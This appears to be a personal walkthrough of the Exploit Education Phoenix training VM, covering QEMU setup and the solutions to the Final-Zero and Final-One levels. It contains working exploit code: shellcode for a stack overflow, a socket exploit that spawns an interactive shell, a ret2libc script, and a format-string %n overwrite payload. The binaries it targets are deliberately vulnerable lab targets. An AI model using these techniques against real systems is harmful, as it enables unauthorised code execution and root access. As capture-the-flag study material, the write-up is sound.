Phoenix:
Phoenix is the first part of the binary exploitation learning series by Exploit Education.
Getting Started
You can download the Phoenix challenge files from the official page:
⚠️ At the time of writing, the prebuilt repo wasn’t available. So, I built the VM manually using QEMU — and I’ll show you how to do the same!
For Windows Users
1. Download the Image
- Choose the
amd64version (or whichever matches your architecture). - Format:
.qcow2image inside a.zipfile.
2. Extract & Navigate
unzip phoenix-amd64.zip
cd phoenix-amd64/
3. Install QEMU
QEMU is required to emulate the VM. For best compatibility, run it through WSL (Windows Subsystem for Linux).
Install QEMU (on WSL):
sudo apt update && sudo apt install qemu-system-x86
4. Launch the VM
Run the following from the extracted image directory:
qemu-system-x86_64 \
-m 512M \
-kernel ./vmlinuz-4.9.0-8-amd64 \
-initrd ./initrd.img-4.9.0-8-amd64 \
-hda ./exploit-education-phoenix-amd64.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-nographic
Default Credentials
| Username | user |
|---|---|
| Passowrd | user |
Accessing the Challenges
Once logged in:
cd /opt/phoenix/amd64
Replace amd64 with your architecture if you’re using a different one.
You’re In!
If everything worked, your terminal (via WSL) should show a login prompt and boot into the Phoenix VM. From here, you can start working on the binary exploitation challenges.
Pro Tip: Use
tmuxor split terminals to keep debugger sessions, source code, and shell access visible at the same time.
“The beginning of the end” — Djo —
Final-Zero
Challenge: Phoenix/Final-Zero
Goal: Exploit the unsafe use of gets() in the network-facing binary to overwrite RIP and execute attacker-controlled code, resulting in successful level completion.
Environment & Intent
From the Getting Started notes:
-
Qcow2 images ship with:
user / userroot / root
- Final levels are intended to be solved over the network
-
Kernel core pattern:
/var/lib/coredumps/core.%e.%s.%p - SUID binaries do not generate core dumps
-
Exploit binaries live in:
/opt/phoenix/<architecture>
This implies:
Even though exploitation happens over the network, local debugging is expected using copies of the binaries and core dumps.
Can We Use Remote GDB?
Attempting to attach GDB remotely:
(gdb) target extended-remote 127.0.0.1:64003
Results in protocol failure:
Ignoring packet error, continuing...
warning: unrecognized item "timeout" in "qSupported"
Remote replied unexpectedly to 'vMustReplyEmpty'
Why This Fails
- GDB speaks the remote serial protocol
- The service on
64003is not a gdbserver -
The socket does not implement:
qSupported- breakpoint packets
- register exchange
Conclusion: This binary does not expose a debug stub. Remote GDB is not possible.
Alternative: Crash → Core Dump → Local GDB
Since core dumps are enabled, we can:
- Intentionally crash the remote service
- Inspect the generated core dump
- Debug locally using the same binary
Triggering a crash:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*544 + b'\x40\xea\xff\xff\xff\x7f')" | nc 127.0.0.1 64003
Core dump appears in:
/var/lib/coredumps/
Now debug locally:
gdb ./final-zero /var/lib/coredumps/core.final-zero.*
Vulnerability Analysis
Source Code
char *get_username() {
char buffer[512];
gets(buffer);
...
return strdup(buffer);
}
Observations
gets()→ unbounded input- Stack buffer size: 512 bytes
- No validation
- No stack canaries
- Classic stack-based buffer overflow
This is a textbook stack smash.
Exploitation Plan (Classic Stack BOF)
- Overflow
buffer - Overwrite saved
RIP -
Redirect execution into:
- stack shellcode or
- controlled gadget
NX is off, so stack execution is allowed.
Finding Offset to RIP
Using cyclic/padding tests:
run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*520 + b'B'*24)")
Crash shows:
Program received signal SIGSEGV
0x4141414141414141 in ?? ()
This confirms RIP control.
Offset Refinement
Testing:
544 + RIP→ partial overwrite552 + RIP→ instruction fetch from stack
run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*552 + b'\x40\xea\xff\xff\xff\x7f')")
Result:
Program received signal SIGILL
0x00007fffffffea59 in ?? ()
Control flow redirected into stack
Locating Buffer Address
Inspecting stack:
x/200x $rsp-0x20
Buffer observed around:
0x7fffffffea20
We redirect RIP back into this region (NOP sled).
Payload Construction
Shellcode (execve /bin/sh)
shellcode = (
b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff"
b"\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e"
b"\xb0\x3b\x0f\x05"
)
Final Layout
[NOP sled]
[shellcode]
[padding]
[return address → stack]
Payload Generator
import struct, sys
address = struct.pack("<Q", 0x7fffffffea20 + 60)
padding = b"\x90" * 25
overflow = b"A" * 500
payload = padding + shellcode + overflow + address
sys.stdout.buffer.write(payload)
Local Execution
(python wsx.py; cat) | ./final-zero
The cat forces stdin to remain open, allowing interactive shell usage.
Remote Exploit
import socket, struct, os, sys, select
s = socket.socket()
s.connect(("127.0.0.1", 64003))
print(s.recv(512))
s.send(payload)
while True:
r, _, _ = select.select([s, sys.stdin], [], [])
for fd in r:
if fd == s:
os.write(1, s.recv(4096))
else:
s.send(os.read(0, 1024))
Notes on Stability
If the process exits without a shell:
- Shellcode may lack interactive syscalls
-
Use:
(python wsx.py; cat) | ./final-zero
Takeaways
- Remote exploitation ≠ remote debugging
- Core dumps bridge the gap
What’s Next
I did ret2libc by execve(‘/bin/sh’, 0, 0)
find the execve by got entry, moreover find /bin/sh string’s base address by finding libc.so file and offset by searching the /bin/sh in libc files
root@phoenix-amd64:/opt/phoenix/i486# cat /tmp/wsx.py
import struct
import sys
import socket
import telnetlib
from telnetlib import Telnet
import time
port = 64003
ip = "127.0.0.1"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#payload = b"A"*510 + b"\x00" + b"A"*21
payload = b"A"*528
execve = struct.pack("<I", 0xf7facd6a)
binsh = struct.pack("<I", 0xf7f6d000+0x15d7c8)
null = struct.pack("<I", 0x0)
argv = struct.pack("<I", 0xffffdd50)
s.send(payload + execve + binsh + b'\x00'*8)
root@phoenix-amd64:/opt/phoenix/i486# python /tmp/wsx.py
root@phoenix-amd64:/opt/phoenix/i486# [23881.177136] traps: final-zero[2185]
general protection ip:4141414141414141 sp:7fffffffec10 error:0
id
uid=0(root) gid=0(root) groups=0(root)
Final-One
Challenge: Phoenix/Final-One
Goal: Exploit the unsafe use of fprintf() in the network-facing binary to overwrite address and execute attacker-controlled code, resulting in successful level completion.
Environment
While exploring the source code and disassembly, it becomes clear that we need to run the binary with the --test argument to debug locally before attempting any remote interaction.
user@phoenix-amd64:/opt/phoenix/i486$ ./final-one --test
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ login nastja
invalid protocol
[final1] $ username nastja
[final1] $ login AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Login from testing:12121 as [nastja] with password [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
login failed
[final1] $
Binary Analysis
Initially, strcpy() looked suspicious and suggested a possible buffer overflow. However, after examining the use of fgets() and the buffer sizes, a classic overflow appears unlikely.
Below is the relevant portion of the source code:
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char username[128];
char hostname[64];
FILE *output;
void logit(char *pw) {
char buf[2048];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
hostname, username, pw);
fprintf(output, buf);
}
void trim(char *str) {
char *q;
q = strchr(str, '\r');
if (q) *q = 0;
q = strchr(str, '\n');
if (q) *q = 0;
}
void parser() {
char line[128];
printf("[final1] $ ");
while (fgets(line, sizeof(line) - 1, stdin)) {
trim(line);
if (strncmp(line, "username ", 9) == 0) {
strcpy(username, line + 9);
} else if (strncmp(line, "login ", 6) == 0) {
if (username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
int testing;
void getipport() {
socklen_t l;
struct sockaddr_in sin;
if (testing) {
strcpy(hostname, "testing:12121");
return;
}
l = sizeof(struct sockaddr_in);
if (getpeername(0, (void *)&sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp) {
if (argc >= 2) {
testing = !strcmp(argv[1], "--test");
output = stderr;
} else {
output = fopen("/dev/null", "w");
if (!output) {
err(1, "fopen(/dev/null)");
}
}
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("%s\n", BANNER);
getipport();
parser();
return 0;
}
Identifying the Vulnerability
Looking closely at the logit() function:
void logit(char *pw) {
char buf[2048];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
hostname, username, pw);
fprintf(output, buf);
}
Key Issue
The vulnerability lies in this line:
fprintf(output, buf);
Here, buf is directly used as the format string for fprintf.
If user input contains format specifiers (like %x, %s, %n), fprintf will interpret them as formatting instructions rather than plain text.
This creates a Format String Vulnerability.
Verifying the Format String Bug
To test this, we run the binary in testing mode:
./final-one --test
Then provide format specifiers as the password:
[final1] $ username AAAAAAAABBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF
GGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMNNNNNNNNOOOOO
[final1] $ login %x %x %x %x %x %x %x %x %x %x %x %x %x
%x %x %x %x %x %x %x
Output:
Login from testing:12121 as [AAAAAAAABBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF
GGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMNNNNNNNNOOOOO] with
password [0 0 69676f4c 7266206e 74206d6f 69747365 313a676e 31323132 20736120
4141415b 41414141 42424241 42424242 43434343 43434343 44444444 44444444
45454545 45454545 46464646]
login failed
Exploitation Strategy
One reliable way to exploit this vulnerability is by using ret2libc.
For a ret2libc attack we need the following values:
- Return address (location we overwrite)
system()address- Pointer to
/bin/sh exit()address (optional but useful to avoid crashes after shell execution)
Stack Layout
The crafted stack should look like this:
system() address
exit() address
/bin/sh pointer
When execution returns to this location:
system("/bin/sh")executesexit()runs afterward for stability
Locating Required Addresses
Using GDB, we can retrieve the necessary libc symbols.
system() Address
(gdb) p system
$2 = {<text variable, no debug info>} 0xf7fad824 <system>
exit() Address
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7f7f543 <exit>
Locating /bin/sh in Memory
Using find or direct memory inspection within the mapped libc region:
(gdb) x/s 0xf7ff867a
0xf7ff867a: "/bin/sh"
Now we have all required components for the ret2libc chain.
GDB Setup
To stabilize the environment (reduce address variation), I used the following .gdbscript:
/tmp/.gdbscript
unset env LINES
unset env COLUMNS
unset env TERM
unset env _
unset env OLDPWD
unset env SHLVL
set breakpoint pending on
b system
run --test < <(python /tmp/edc.py)
x/12x 0xffffdcbc //orwhatevr the ret address is
Run the program in GDB using:
(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) run
This allows easier observation of the stack and confirms whether execution reaches system().
Exploit Payload
The exploit script crafts a payload that:
- Places target return addresses into the username buffer
- Uses the format string vulnerability
- Writes byte-by-byte using
%nto overwrite the return address - Redirects execution into
system()
Your payload:
user@phoenix-amd64:/opt/phoenix/i486$ cat /tmp/edc.py
import struct
# 0xf7f7f543 <exit>
#system's address 0xf7fad824
ret = 0xffffdcbc
bomb = "username "
bomb+= b"AAA"
bomb+= struct.pack("I", ret)
bomb+= b"AAAA" #this is important because our %x needs
#to read something for spacing to add
bomb+= struct.pack("I", ret+1)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+2)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+3)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+4)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+5)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+6)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+7)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+8)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+9)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+10)
bomb+= b"AAAA"
bomb+= struct.pack("I", ret+11)
bomb+= "\n"
bomb+= "login "
bomb+= "%x %x %x %x %x %x %x %x "
bomb+= "%x"
bomb+= "%85x"
bomb+= "%n"
bomb+= "%180x"
bomb+= "%n"
bomb+= "%34x"
bomb+= "%n"
bomb+= "%253x"
bomb+= "%n"
bomb+= "%76x"
bomb+= "%n"
bomb+= "%178x"
bomb+= "%n"
bomb+= "%258x"
bomb+= "%n"
bomb+= "%256x"
bomb+= "%n"
bomb+= "%131x"
bomb+= "%n"
bomb+= "%12x"
bomb+= "%n"
bomb+= "%121x"
bomb+= "%n"
bomb+= "%248x"
bomb+= "%n"
bomb+= "\n"
print(bomb)
Running the Exploit
Execute the payload and pipe it into the vulnerable binary:
(python /tmp/edc.py; cat) | ./final-one --test
Result:
test@phoenix-amd64:/opt/phoenix/i486$ (python /tmp/edc.py; cat) | ./final-one --t
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ [final1] $ Login from testing:12121 as [AAA����AAAA����AAAA����AAAA
����AAAA����AAAA����AAAA����AAAA����
AAAA����AAAA����AAAA����AAAA����] with password [0 0 69676f4c 7266206e
74206d6f 69747365 313a676e 31323132 20736120 4141415b 41414141 41414141 41414141 41414141]
id
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
whoami
user